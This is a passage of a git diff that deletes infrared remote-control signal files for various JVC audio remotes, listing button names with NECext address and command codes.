-protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: Function+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: Function- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: FunctionDown -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: FunctionUp -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir deleted file mode 100644 index 2ae38375f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 84 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 85 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 88 00 00 00 -# -name: Sound -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 8D 00 00 00 -# -name: Att -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 8E 00 00 00 -# -name: Track+ -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 92 00 00 00 -# -name: Track- -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 93 00 00 00 -# -name: Disc+ -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 94 00 00 00 -# -name: Disc- -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir deleted file mode 100644 index 3c53d5e41..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 84 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 85 00 00 00 -# -name: SRC -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 88 00 00 00 -# -name: Sound -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 8D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 8E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 92 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 93 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 94 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 8F 00 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir deleted file mode 100644 index 9ccc0ace2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: ACTIVE_HYPER_BASS -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 04 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 11 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 12 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: TIMER_SET -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 30 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 33 00 00 00 -# -name: TIMER_ON_OFF -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 36 00 00 00 -# -name: SEARCH_UP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: SEARCH_DOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: CD_PLAY_PAUSE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: MEMORY_CALL -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 76 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 77 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 -# -name: FREQUENCY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir deleted file mode 100644 index 2e0bf1477..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 72 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 73 00 00 00 -# -name: MEMORY/CALL -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir deleted file mode 100644 index 39e752f02..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: hyperbass -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 04 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 11 00 00 00 -# -name: autopreset -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 13 00 00 00 -# -name: presettuning -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 15 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 30 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 36 00 00 00 -# -name: search+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: search- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 41 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 44 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4C 00 00 00 -# -name: reverseplay -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4D 00 00 00 -# -name: synchrorec -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 56 00 00 00 -# -name: cdplay -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: cdstop -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 75 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 76 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 77 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 -# -name: cddoor -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 7B 00 00 00 -# -name: bass+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 87 00 00 00 -# -name: bass- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 88 00 00 00 -# -name: treble+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 89 00 00 00 -# -name: treble- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 8A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir deleted file mode 100644 index 7a7a5a309..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: AUTOPRESET -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 13 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: CDNEXT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: CDPREV -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: TAPESTOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 41 00 00 00 -# -name: TAPENEXT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 44 00 00 00 -# -name: TAPEPREV -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 45 00 00 00 -# -name: TAPEREC -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4B 00 00 00 -# -name: TAPERIGHT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4C 00 00 00 -# -name: TAPELEFT -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4D 00 00 00 -# -name: CDPLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: CDSTOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: CDDOOR -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 7B 00 00 00 -# -name: BASSUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 87 00 00 00 -# -name: BASSDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 88 00 00 00 -# -name: TREBLEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 89 00 00 00 -# -name: TREBLEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 8A 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir deleted file mode 100644 index 107e5e960..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: ahb-pro -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 04 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0D 00 00 00 -# -name: auto-preset -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 12 00 00 00 -# -name: display-mode -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 16 00 00 00 -# -name: pty-eon -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 17 00 00 00 -# -name: right-select -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 18 00 00 00 -# -name: left-select -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 19 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1C 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: reverse-mode -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 41 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 4C 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 77 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 -# -name: bass+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 87 00 00 00 -# -name: bass- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 88 00 00 00 -# -name: treble+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 89 00 00 00 -# -name: treble- -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 8A 00 00 00 -# -name: beat-cut -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: EE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir deleted file mode 100644 index 3eeaafd76..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 00 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 05 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 10 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 11 00 00 00 -# -name: bass -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 12 00 00 00 -# -name: tuning -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 20 00 00 00 -# -name: discskip -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 21 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 22 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 26 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 30 00 00 00 -# -name: fade -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 32 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 34 00 00 00 -# -name: soudmode -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 40 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 41 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 47 00 00 00 -# -name: cdplay -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 51 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 53 00 00 00 -# -name: fmam -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 60 00 00 00 -# -name: tapeplay -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 61 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir deleted file mode 100644 index e2a2f9d22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: poen -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: display_mode -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 54 00 00 00 -# -name: index_right -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 56 00 00 00 -# -name: index_left -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 57 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: reapet -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 5B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 68 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 69 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 6F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 70 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 72 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir deleted file mode 100644 index 68acc6ca9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: standbyon -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 44 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: EF 00 00 